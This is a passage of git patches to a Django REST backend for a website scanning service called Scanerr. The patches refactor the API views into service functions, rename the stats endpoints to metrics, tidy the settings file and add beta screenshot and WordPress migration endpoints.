     }
+    
+    # return response
     response = Response(data, status=status.HTTP_200_OK)
     return response
 
@@ -3199,16 +4265,32 @@ def get_home_stats(request):
 
 
 
-def get_site_stats(request):
+def get_site_metrics(request: object) -> object:
+    """ 
+    Builds metrics for account "Site" view 
+    on Scanerr.client
+
+    Expects: {
+        'request' : object
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user, account, site, & pages
     user = request.user
     account = Member.objects.get(user=user).account
     site_id = request.query_params.get('site_id')
     site = Site.objects.get(id=site_id)
     pages = Page.objects.filter(site=site)
+
+    # setting detaults
     page_count = pages.count()
     test_count = 0
     scan_count = 0
     schedule_count = Schedule.objects.filter(site=site).count()
+
+    # calculating metrics
     for page in pages:
         tests = Test.objects.filter(page=page)
         scans = Scan.objects.filter(page=page)
@@ -3217,12 +4299,15 @@ def get_site_stats(request):
         scan_count = scan_count + scans.count()
         schedule_count = schedule_count + schedules.count()
 
+    # format data
     data = {
         "pages": page_count, 
         "tests": test_count,
         "scans": scan_count,
         "schedules": schedule_count,
     }
+
+    # return response
     response = Response(data, status=status.HTTP_200_OK)
     return response
 
@@ -3230,7 +4315,18 @@ def get_site_stats(request):
 
 
 
-def get_celery_metrics(request):
+def get_celery_metrics(request: object) -> object:
+    """ 
+    Builds metrics for current Celery task load.
+    Used to provision and terminate new pods in 
+    k8s cluster on PROD
+
+    Expects: {
+        'request' : object
+    }
+
+    Returns -> HTTP Response object
+    """
 
     # Inspect all nodes.
     i = celery.app.control.inspect()
@@ -3257,11 +4353,147 @@ def get_celery_metrics(request):
     if num_replicas > 0:
         ratio = num_tasks / num_replicas
 
-    # return response
+    # format data
     data = {
         "num_tasks": num_tasks,
         "num_replicas": num_replicas,
         "ratio": ratio
     }
+
+    # return response
     response = Response(data, status=status.HTTP_200_OK)
-    return response
\ No newline at end of file
+    return response
+
+
+
+
+### ------ Begin Beta Services ------ ###
+
+
+
+
+def create_site_screenshot(request: object) -> object:
+    """
+    Used to grab a single screenshot of the passed `Site`
+
+    Expects: {
+        'request': object
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    site_id = request.data.get('site_id', None)
+    url = request.data.get('url', None)
+    configs = request.data.get('configs', settings.CONFIGS)
+
+    # get user
+    user = request.user
+    
+    # set default
+    site = None
+
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='site', 
+        site_id=site_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get site if checks passsed
+    if site_id is not None:
+        site = Site.objects.get(id=site_id)
+
+    # get screenshot 
+    if configs['driver'] == 'puppeteer':
+        data = asyncio.run(I().screenshot_p(site=site, url=url, configs=configs))
+    elif configs['driver'] == 'selenium':
+        data = I().screenshot(site=site, url=url, configs=configs)
+
+    
+    record_api_call(request, data, '201')
+    response = Response(data, status=status.HTTP_201_CREATED)
+    return response
+
+
+
+
+def migrate_site(request: object) -> object:
+    """
+    Initiate a `Site` migration task in background
+
+    Expects: {
+        'request': object
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    login_url = request.data.get('login_url', None)
+    admin_url = request.data.get('admin_url', None)
+    plugin_name = request.data.get('plugin_name', 'Cloudways WordPress Migrator')
+    username = request.data.get('username', None)
+    password = request.data.get('password', None)
+    site_id = request.data.get('site_id', None)
+    email_address = request.data.get('email_address', None)
+    destination_url = request.data.get('destination_url', None)
+    sftp_address = request.data.get('sftp_address', None) 
+    dbname = request.data.get('dbname', None)
+    sftp_username = request.data.get('sftp_username', None)
+    sftp_password = request.data.get('sftp_password', None)
+    wait_time = request.data.get('wait_time', 30)
+    driver = request.data.get('driver', 'puppeteer')
+
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='site', 
+        site_id=site_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+    
+    # get site if checks passed
+    site = Site.objects.get(id=site_id)
+
+    # create new Process
+    process = Process.objects.create(
+        site=site,
+        type='migration'
+    )
+
+    # start migrtation task in background
+    migrate_site_bg.delay(
+        login_url, 
+        admin_url, 
+        username, 
+        password, 
+        email_address, 
+        destination_url, 
+        sftp_address, 
+        dbname, 
+        sftp_username, 
+        sftp_password, 
+        plugin_name, 
+        wait_time, 
+        process.id, 
+        driver
+    )
+    
+    # serialize and return
+    serializer_context = {'request': request,}
+    data = ProcessSerializer(process, context=serializer_context).data
+    record_api_call(request, data, '201')
+    response = Response(data, status=status.HTTP_201_CREATED)
+    return response
+
+
+
+
+
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index 0439a607..85c28f43 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -33,8 +33,6 @@
     path('automation/<uuid:id>', views.AutomationDetail.as_view(), name='automation-detail'),
     path('report', views.Reports.as_view(), name='report'),
     path('report/<uuid:id>', views.ReportDetail.as_view(), name='report-detail'),
-    path('home-stats', views.HomeStats.as_view(), name='home-stats'),
-    path('site-stats', views.SiteStats.as_view(), name='site-stats'),
     path('process', views.Processes.as_view(), name='process'),
     path('process/<uuid:id>', views.ProcessDetail.as_view(), name='process-detail'),
     path('case', views.Cases.as_view(), name='case'),
@@ -45,9 +43,10 @@
     path('testcase', views.Testcases.as_view(), name='testcase'),
     path('testcase/delay', views.TestcaseDelay.as_view(), name='testcase-delay'),
     path('testcase/<uuid:id>', views.TestcaseDetail.as_view(), name='testcase-detail'),
+    path('metrics/home', views.HomeMetrics.as_view(), name='home-metrics'),
+    path('metrics/site', views.SiteMetrics.as_view(), name='site-metrics'),
+    path('metrics/celery', views.CeleryMetrics.as_view(), name='celery-metrics'),
     path('beta/wordpress/migrate', views.WordPressMigrateSite.as_view(), name='migrate-site'),
-    path('beta/wordpress/migrate/delay', views.WordPressMigrateSiteDelay.as_view(), name='migrate-site-delay'),
     path('beta/site/screenshot', views.SiteScreenshot.as_view(), name='site-screenshot'), 
     path('beta/report/export', views.ExportReport.as_view(), name='export-report'), 
-    path('metrics/celery', views.CeleryMetrics.as_view(), name='celery-metrics'),
 ]
\ No newline at end of file
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index e411308c..26eaeb45 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -17,6 +17,14 @@
 
 
 
+
+
+
+### ------ Begin Site Views ------ ###
+
+
+
+
 class Sites(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']
@@ -29,7 +37,8 @@ def post(self, request):
     def get(self, request):
         response = get_sites(request)
         return response
-    
+
+
 
 
 class SiteDetail(APIView):
@@ -37,18 +46,8 @@ class SiteDetail(APIView):
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
-        site = get_object_or_404(Site, pk=id)
-        user = request.user
-        account = Member.objects.get(user=user).account
-        if site.account != account:
-            data = {'reason': 'you cannot retrieve a Site you do not own',}
-            record_api_call(request, data, '401')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        serializer_context = {'request': request,}
-        serialized = SiteSerializer(site, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '200')
-        return Response(data, status=status.HTTP_200_OK) 
+        response = get_site(request, id)
+        return response
 
     def delete(self, request, id):
         response = delete_site(request, id)
@@ -56,6 +55,7 @@ def delete(self, request, id):
 
 
 
+
 class SiteDelay(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -66,6 +66,7 @@ def post(self, request):
 
 
 
+
 class SiteCrawl(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -75,6 +76,8 @@ def post(self, request, id):
         return response
 
 
+
+
 class SitesDelete(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -86,6 +89,11 @@ def post(self, request):
 
 
 
+### ------ Begin Page Views ------ ###
+
+
+
+
 class Pages(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']
@@ -101,23 +109,14 @@ def get(self, request):
     
 
 
+
 class PageDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
-        page = get_object_or_404(Page, pk=id)
-        user = request.user
-        account = Member.objects.get(user=user).account
-        if page.account != account:
-            data = {'reason': 'you cannot retrieve a Page you do not own',}
-            record_api_call(request, data, '401')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        serializer_context = {'request': request,}
-        serialized = PageSerializer(page, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '200')
-        return Response(data, status=status.HTTP_200_OK) 
+        response = get_page(request, id)
+        return response 
 
     def delete(self, request, id):
         response = delete_page(request, id)
@@ -125,6 +124,7 @@ def delete(self, request, id):
 
 
 
+
 class PageDelay(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -135,6 +135,7 @@ def post(self, request):
 
 
 
+
 class PagesDelete(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -146,6 +147,11 @@ def post(self, request):
 
 
 
+### ------ Begin Scan Views ------ ###
+
+
+
+
 class Scans(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get',]
@@ -160,25 +166,15 @@ def get(self, request):
         return response
 
 
+
+
 class ScanDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete',]
 
     def get(self, request, id):
-        scan = get_object_or_404(Scan, pk=id)
-        user = request.user
-        account = Member.objects.get(user=user).account
-
-        if scan.site.account != account:
-            data = {'reason': 'you cannot retrieve Scans of a Site you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        
-        serializer_context = {'request': request,}
-        serialized = ScanSerializer(scan, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '200')
-        return Response(data, status=status.HTTP_200_OK)
+        response = get_scan(request, id)
+        return response
 
 
     def delete(self, request, id):
@@ -186,6 +182,8 @@ def delete(self, request, id):
         return response
 
 
+
+
 class ScanLean(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', ]
@@ -195,6 +193,8 @@ def get(self, request, id):
         return response
 
 
+
+
 class ScanDelay(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -205,6 +205,7 @@ def post(self, request):
 
 
 
+
 class ScansCreate(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -215,6 +216,7 @@ def post(self, request):
 
 
 
+
 class ScansDelete(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -226,6 +228,10 @@ def post(self, request):
 
 
 
+### ------ Begin Test Views ------ ###
+
+
+
 
 class Tests(APIView):
     permission_classes = (IsAuthenticated,)
@@ -241,31 +247,23 @@ def get(self, request):
         return response
 
 
+
+
 class TestDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete',]
 
     def get(self, request, id):
-        test = get_object_or_404(Test, pk=id)
-        user = request.user
-        account = Member.objects.get(user=user).account
-
-        if test.site.account != account:
-            data = {'reason': 'you cannot retrieve Tests of a Site you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        
-        serializer_context = {'request': request,}
-        serialized = TestSerializer(test, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '200')
-        return Response(data, status=status.HTTP_200_OK)
+        response = get_test(request, id)
+        return response
 
     def delete(self, request, id):
         response = delete_test(request, id)
         return response
 
 
+
+
 class TestLean(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
@@ -275,6 +273,8 @@ def get(self, request, id):
         return response
 
 
+
+
 class TestDelay(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -284,6 +284,8 @@ def post(self, request):
         return response
 
 
+
+
 class TestsCreate(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -293,6 +295,8 @@ def post(self, request):
         return response
 
 
+
+
 class TestsDelete(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -303,6 +307,8 @@ def post(self, request):
 
 
 
+### ------ Begin Schedule Views ------ ###
+
 
 
 
@@ -319,25 +325,15 @@ def get(self, request):
         return response
 
 
+
+
 class ScheduleDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
-        schedule = get_object_or_404(Schedule, pk=id)
-        user = request.user
-        account = Member.objects.get(user=user).account
-
-        if schedule.site.account != account:
-            data = {'reason': 'you cannot retrieve Schedules of a Site you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        
-        serializer_context = {'request': request,}
-        serialized = ScheduleSerializer(schedule, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '200')
-        return Response(data, status=status.HTTP_200_OK)
+        response = get_schedule(request, id)
+        return response
 
     def delete(self, request, id):
         response = delete_schedule(request, id)        
@@ -346,6 +342,10 @@ def delete(self, request, id):
 
 
 
+### ------ Begin Automation Views ------ ###
+
+
+
 
 class Automations(APIView):
     permission_classes = (IsAuthenticated,)
@@ -361,25 +361,15 @@ def get(self, request):
         return response
 
 
+
+
 class AutomationDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
-        automation = get_object_or_404(Automation, pk=id)
-        user = request.user
-        account = Member.objects.get(user=user).account
-
-        if automation.account != account:
-            data = {'reason': 'you cannot retrieve Automations you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        
-        serializer_context = {'request': request,}
-        serialized = AutomationSerializer(automation, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '200')
-        return Response(data, status=status.HTTP_200_OK)
+        response = get_automation(request, id)
+        return response
 
     def delete(self, request, id):
         response = delete_automation(request, id)        
@@ -388,6 +378,10 @@ def delete(self, request, id):
 
 
 
+### ------ Begin Report Views ------ ###
+
+
+
 
 class Reports(APIView):
     permission_classes = (IsAuthenticated,)
@@ -403,25 +397,14 @@ def get(self, request):
 
 
 
+
 class ReportDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
-        report = get_object_or_404(Report, pk=id)
-        user = request.user
-        account = Member.objects.get(user=user).account
-        
-        if report.account != account:
-            data = {'reason': 'you cannot retrieve Reports you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        
-        serializer_context = {'request': request,}
-        serialized = ReportSerializer(report, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '200')
-        return Response(data, status=status.HTTP_200_OK)
+        response = get_report(request, id)
+        return response
 
     def delete(self, request, id):
         response = delete_report(request, id)        
@@ -441,6 +424,10 @@ def post(self, request):
 
 
 
+### ------ Begin Case Views ------ ###
+
+
+
 class Cases(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']
@@ -455,6 +442,7 @@ def get(self, request):
 
 
 
+
 class CasesSearch(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get']
@@ -465,25 +453,14 @@ def get(self, request):
 
 
 
+
 class CaseDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
-        case = get_object_or_404(Case, pk=id)
-        user = request.user
-        account = Member.objects.get(user=user).account
-        
-        if case.account != account:
-            data = {'reason': 'you cannot retrieve Cases you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        
-        serializer_context = {'request': request,}
-        serialized = CaseSerializer(case, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '200')
-        return Response(data, status=status.HTTP_200_OK)
+        response = get_case(request, id)
+        return response
 
     def delete(self, request, id):
         response = delete_case(request, id)        
@@ -502,6 +479,7 @@ def post(self, request):
 
 
 
+
 class CopyCases(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post']
@@ -512,6 +490,12 @@ def post(self, request):
 
 
 
+
+### ------ Begin Testcase Views ------ ###
+
+
+
+
 class Testcases(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']
@@ -526,6 +510,7 @@ def get(self, request):
 
 
 
+
 class TestcaseDelay(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -536,25 +521,14 @@ def post(self, request):
 
 
 
+
 class TestcaseDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
-        testcase = get_object_or_404(Testcase, pk=id)
-        user = request.user
-        account = Member.objects.get(user=user).account
-        
-        if testcase.account != account:
-            data = {'reason': 'you cannot retrieve Testcases you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        
-        serializer_context = {'request': request,}
-        serialized = TestcaseSerializer(testcase, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '200')
-        return Response(data, status=status.HTTP_200_OK)
+        response = get_testcase(request, id)
+        return response
 
     def delete(self, request, id):
         response = delete_testcase(request, id)        
@@ -563,6 +537,10 @@ def delete(self, request, id):
 
 
 
+### ------ Begin Log Views ------ ###
+
+
+
 
 class Logs(APIView):
     permission_classes = (IsAuthenticated,)
@@ -574,44 +552,51 @@ def get(self, request):
         return response 
 
 
+
+
 class LogDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
 
     def get(self, request, id):
-        log = get_object_or_404(Log, pk=id)
-        if log.user != request.user:
-            data = {'reason': 'you cannot retrieve Logs you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        
-        serializer_context = {'request': request,}
-        serialized = LogSerializer(log, context=serializer_context)
-        data = serialized.data
-        return Response(data, status=status.HTTP_200_OK)
+        response = get_log(request, id)
+        return response
 
 
 
-class HomeStats(APIView):
-    permission_classes = (IsAuthenticated,)
-    http_method_names = ['get',]
 
+### ------ Begin Process Views ------ ###
+
+
+
+
+class Processes(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get']
+    
     def get(self, request):
-        response = get_home_stats(request)
+        response = get_processes(request)
         return response
 
 
 
-class SiteStats(APIView):
+
+class ProcessDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
 
-    def get(self, request):
-        response = get_site_stats(request)
+    def get(self, request, id):
+        response = get_process(request, id)
         return response
 
 
 
+
+### ------ Begin Search Views ------ ###
+
+
+
+
 class Search(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
@@ -623,52 +608,62 @@ def get(self, request):
 
 
 
-class Processes(APIView):
+
+### ------ Begin Metrics Views ------ ###
+
+
+
+
+class HomeMetrics(APIView):
     permission_classes = (IsAuthenticated,)
-    http_method_names = ['get']
-    
+    http_method_names = ['get',]
+
     def get(self, request):
-        response = get_processes(request)
+        response = get_home_metrics(request)
         return response
 
 
-class ProcessDetail(APIView):
+
+
+class SiteMetrics(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
 
-    def get(self, request, id):
-        if not Process.objects.filter(id=id).exists():
-            data = {'reason': 'process with that id does not exist',}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        
-        proc = Process.objects.get(id=id)
-        serializer_context = {'request': request,}
-        serialized = ProcessSerializer(proc, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '200')
-        return Response(data, status=status.HTTP_200_OK)
+    def get(self, request):
+        response = get_site_metrics(request)
+        return response
 
 
 
-class WordPressMigrateSite(APIView):
-    permission_classes = (IsAuthenticated,)
-    http_method_names = ['post',]
+
+class CeleryMetrics(APIView):
+    authentication_classes = []
+    permission_classes = (AllowAny,)
+    http_method_names = ['get',]
     
-    def post(self, request):
-        response = migrate_site(request, delay=False)
+    def get(self, request):
+        response = get_celery_metrics(request)
         return response
 
 
-class WordPressMigrateSiteDelay(APIView):
+
+
+### ------ Begin Beta Views ------ ###
+
+
+
+
+class WordPressMigrateSite(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
     
     def post(self, request):
-        response = migrate_site(request, delay=True)
+        response = migrate_site(request)
         return response
 
 
+
+
 class SiteScreenshot(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -679,12 +674,4 @@ def post(self, request):
 
 
 
-class CeleryMetrics(APIView):
-    authentication_classes = []
-    permission_classes = (AllowAny,)
-    http_method_names = ['get',]
-    
-    def get(self, request):
-        response = get_celery_metrics(request)
-        return response
 
diff --git a/app/scanerr/celery.py b/app/scanerr/celery.py
index 08e5ae7e..c0dd8155 100644
--- a/app/scanerr/celery.py
+++ b/app/scanerr/celery.py
@@ -4,13 +4,23 @@
 import scanerr, os
 
 
+
+
+
+
+# setting DJANGO_SETTINGS_MODULE to scanerr.settings
 os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'scanerr.settings')
 
+# init celery
 app = Celery('scanerr')
+
+# configure namespace
 app.config_from_object('django.conf:settings', namespace='CELERY')
-app.autodiscover_tasks()
 
+# setting tasks to auto-discover
+app.autodiscover_tasks()
 
+# setting debug
 @app.task(bind=False)
 def debug_task(self):
     print('Request: {0!r}'.format(self.request))
diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 47617db7..e18ceec5 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -23,21 +23,23 @@
 # SECURITY WARNING: don't run with debug turned on in production!
 DEBUG = True if os.environ.get('DEBUG') == 'True' else False
 
-ALLOWED_HOSTS = ['*']
+# Network settings
+CORS_ORIGIN_ALLOW_ALL = True
+DATA_UPLOAD_MAX_MEMORY_SIZE = 5242880
+SECURE_PROXY_SSL_HEADER = ("HTTP_X_FORWARDED_PROTO", "https")
+ALLOWED_HOSTS = [os.environ.get('DJANGO_ALLOWED_HOSTS')]
+
+# URLs
 CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT')
 LANDING_API_ROOT = os.environ.get('LANDING_API_ROOT')
-LANDING_API_KEY = os.environ.get('LANDING_API_KEY')
 API_URL_ROOT = os.environ.get('API_URL_ROOT')
 YELLOWLAB_ROOT = os.environ.get('YELLOWLAB_ROOT')
 LIGHTHOUSE_ROOT = os.environ.get('LIGHTHOUSE_ROOT')
-GOOGLE_CRUX_KEY = os.environ.get('GOOGLE_CRUX_KEY')
-CORS_ORIGIN_ALLOW_ALL = True
-DATA_UPLOAD_MAX_MEMORY_SIZE = 5242880
 
-SECURE_PROXY_SSL_HEADER = ("HTTP_X_FORWARDED_PROTO", "https")
+# Scanerr.landing API KEY
+LANDING_API_KEY = os.environ.get('LANDING_API_KEY')
 
 # Application definition
-
 INSTALLED_APPS = [
     'django.contrib.admin',
     'django.contrib.auth',
@@ -53,7 +55,6 @@
     'markdownify.apps.MarkdownifyConfig',
     'storages',
 ]
-
 MIDDLEWARE = [
     'django.middleware.security.SecurityMiddleware',
     'whitenoise.middleware.WhiteNoiseMiddleware',
@@ -65,9 +66,7 @@
     'django.middleware.clickjacking.XFrameOptionsMiddleware',
     'corsheaders.middleware.CorsMiddleware',
 ]
-
 ROOT_URLCONF = 'scanerr.urls'
-
 TEMPLATES = [
     {
         'BACKEND': 'django.template.backends.django.DjangoTemplates',
@@ -83,7 +82,6 @@
         },
     },
 ]
-
 WSGI_APPLICATION = 'scanerr.wsgi.application'
 
 
@@ -101,7 +99,6 @@
 }
 
 
-
 # Password validation
 # https://docs.djangoproject.com/en/3.2/ref/settings/#auth-password-validators
 AUTH_PASSWORD_VALIDATORS = [
@@ -132,7 +129,6 @@
     'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.LimitOffsetPagination',
     'PAGE_SIZE': 10,
 }
-
 SIMPLE_JWT = {
     'ACCESS_TOKEN_LIFETIME': timedelta(hours=24),
     'REFRESH_TOKEN_LIFETIME': timedelta(hours=36),
@@ -141,15 +137,10 @@
 
 # Internationalization
 # https://docs.djangoproject.com/en/3.2/topics/i18n/
-
 LANGUAGE_CODE = 'en-us'
-
 TIME_ZONE = 'UTC'
-
 USE_I18N = True
-
 USE_L10N = True
-
 USE_TZ = True
 
 
@@ -158,25 +149,16 @@
 STATIC_URL = '/static/'
 STATIC_ROOT = os.path.join(BASE_DIR, "static")
 
-# needed for deployments without nginx
-STATICFILES_STORAGE = "whitenoise.storage.CompressedManifestStaticFilesStorage"
 
-### ONLY NEEDED IF USING DJANGO-STORAGES | remote storage settings for serving static files to django admin ###
-# DEFAULT_FILE_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage'
-# STATICFILES_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage'
-# STORAGE_DOMAIN = os.environ.get('STORAGE_DOMAIN')
-# STATIC_ROOT = 'static'
-# MEDIA_ROOT = 'media'
-# STATIC_URL = f"https://{AWS_S3_ENDPOINT_URL}/{STATIC_ROOT}/"
-# MEDIA_URL = f"https://{AWS_S3_ENDPOINT_URL}/{MEDIA_ROOT}/"
-# AWS_S3_ENDPOINT_PATH = os.environ.get('AWS_S3_ENDPOINT_PATH')
-# AWS_S3_CUSTOM_DOMAIN = os.environ.get('AWS_S3_CUSTOM_DOMAIN')
+# Static file service without nginx
+STATICFILES_STORAGE = "whitenoise.storage.CompressedManifestStaticFilesStorage"
 
 
 # Used to authenticate with S3 using 'django-stores' pypi package and 'boto3'
 AWS_ACCESS_KEY_ID = os.environ.get('AWS_ACCESS_KEY_ID')
 AWS_SECRET_ACCESS_KEY = os.environ.get('AWS_SECRET_ACCESS_KEY')
 
+
 # Configure which endpoint to send files to, and retrieve files from.
 AWS_STORAGE_BUCKET_NAME = os.environ.get('AWS_STORAGE_BUCKET_NAME')
 AWS_S3_REGION_NAME = os.environ.get('AWS_S3_REGION_NAME')
@@ -192,9 +174,11 @@
     'CacheControl': 'max-age=86400',
 }
 
+
 # Redis and Celery Config
 CELERY_BROKER_URL = "redis://redis:6379"
 
+
 # RabbitMQ and Celery Config
 # CELERY_BROKER_URL = "amqp://rabbitmq"
 
@@ -204,7 +188,7 @@
 DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'
 
 
-# email 
+# Email 
 EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'
 EMAIL_HOST = os.environ.get('EMAIL_HOST')
 EMAIL_PORT = os.environ.get('EMAIL_PORT')
@@ -220,12 +204,16 @@
 AUTOMATION_TEMPLATE = os.environ.get('AUTOMATION_TEMPLATE')
 
 
-# google oAuth2
+# Google oAuth2
 GOOGLE_OAUTH2_CLIENT_ID = os.environ.get('GOOGLE_OAUTH2_CLIENT_ID')
 GOOGLE_OAUTH2_CLIENT_SECRET = os.environ.get('GOOGLE_OAUTH2_CLIENT_SECRET')
 
 
-# stripe keys
+# Google API key
+GOOGLE_CRUX_KEY = os.environ.get('GOOGLE_CRUX_KEY')
+
+
+# Stripe keys
 if os.environ.get('STRIPE_ENV') == 'prod':
     STRIPE_PUBLIC = os.environ.get('STRIPE_PUBLIC_LIVE')
     STRIPE_PRIVATE = os.environ.get('STRIPE_PRIVATE_LIVE')
@@ -234,7 +222,7 @@
     STRIPE_PRIVATE = os.environ.get('STRIPE_PRIVATE_TEST')
 
 
-# global configs object 
+# Global configs 
 CONFIGS = {
     'window_size': '1920,1080',
     'driver': 'selenium',
@@ -246,4 +234,8 @@
     'timeout': 300,
     'disable_animations': False,
     'auto_height': True
-}
\ No newline at end of file
+}
+
+
+
+
diff --git a/app/scanerr/urls.py b/app/scanerr/urls.py
index 50d33dcf..4574aef0 100644
--- a/app/scanerr/urls.py
+++ b/app/scanerr/urls.py
@@ -3,6 +3,9 @@
 
 
 
+
+
+
 urlpatterns = [
     path('admin/', admin.site.urls),
     path('', include('api.urls')),

From fce8dcc07b4e852b5403b59af8932ddd7c6cdf56 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 14:19:21 -0600
Subject: [PATCH 0555/1099] fixed typo

---
 setup/scripts/local-entrypoint.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/scripts/local-entrypoint.sh b/setup/scripts/local-entrypoint.sh
index 8a565799..edcc45b4 100755
--- a/setup/scripts/local-entrypoint.sh
+++ b/setup/scripts/local-entrypoint.sh
@@ -13,7 +13,7 @@ then
   python3 manage.py runserver 0.0.0.0:8000
 fi
 
-# spin up acelerypp in local env
+# spin up celery in local env
 if [[ $1 == *"celery"* ]]
 then
   python3 manage.py wait_for_db && 

From b5e7e9f34533f763f2e7fe34496692954dd9c4d1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 14:35:45 -0600
Subject: [PATCH 0556/1099] fixed type issues

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 9c11f3bb..5ed5d051 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -866,7 +866,7 @@ def create_page(request: object, delay: bool=False) -> object:
 
 
 
-def create_many_pages(request: object, obj_response: bool=False) -> object | dict:
+def create_many_pages(request: object, obj_response: bool=False) -> object:
     """ 
     Bulk creates `Pages` for each url passed in "page_urls"
 

From 56d094de233c50c136e2998ce51b501a024f74ca Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 14:49:23 -0600
Subject: [PATCH 0557/1099] fixed more typing issues

---
